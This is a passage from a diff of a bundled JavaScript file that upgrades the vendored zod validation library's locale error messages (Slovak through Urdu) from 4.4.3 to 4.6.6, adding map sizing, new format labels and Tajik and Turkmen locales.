vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63756,12 +66046,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -63830,17 +66124,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63864,14 +66159,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -63941,17 +66240,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63977,12 +66277,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -64052,17 +66356,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64088,12 +66510,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -64163,17 +66589,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64199,12 +66734,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -64269,17 +66808,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64305,12 +66845,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -64378,22 +66922,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64419,12 +66964,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", 